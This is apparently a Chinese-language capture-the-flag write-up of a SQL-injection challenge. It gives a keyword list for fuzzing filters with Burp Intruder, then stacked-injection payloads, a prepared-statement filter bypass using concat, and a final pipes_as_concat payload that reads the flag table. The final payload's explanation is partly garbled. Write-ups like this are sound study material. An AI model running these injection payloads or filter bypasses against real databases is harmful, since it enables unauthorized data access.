先用bp抓包fuzz一下看拉黑了哪些东西
ctrl+i把他放到intruder中
添加要注入的位置
设置payload
加载payload文件
这是我自用的,可能有什么不足(需要可以自取)
union select
Union sElect
union/**/select
union
select
ascii
substr
from
or
and1=1
and 1=1
updatexml
information_schema.schemata
information_schema.tables
information_schema.columns
handler
group_concat
sleep
length
()
=
#
--
%23
>
<
=
^
table_name
table_schema
column_name
information_schema.tables
information_schema.schemata
information_schema.columns
where
,
database()
综上判断尝试堆叠注入和预编译
堆叠注入
1;show tables#
出现Flag表
后续思路(想尝试select但是from被禁了不能实现)
预编译
1;sEt @sql = concat(%27se%27,%27lect * from Flag;%27);prEpare stmt from @sql;execute stmt#
似乎不行过滤了prepare,试了下大小写绕过也不行,看来正则匹配大小写
后续取参考大佬wp才明白
pipes_as_concat
补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似1;set sql_mode=pipes_as_concat;||flag from Flag
!!以下是我的理解
slect 1 后设置mysql的系统变量sql_mode=pipes_as_concat,最后因为设置了系统变量然后“||”将视为字符串连接符号而不是或非运算符,所以最后大概是这样的select 1(id) 和flag from Flag(来自Flag表的flag字段)
最后payload:1;set sql_mode=pipes_as_concat;select 1(因为本就在Flag表里select 1然后设置系统变量将后面的select 1插入前面的)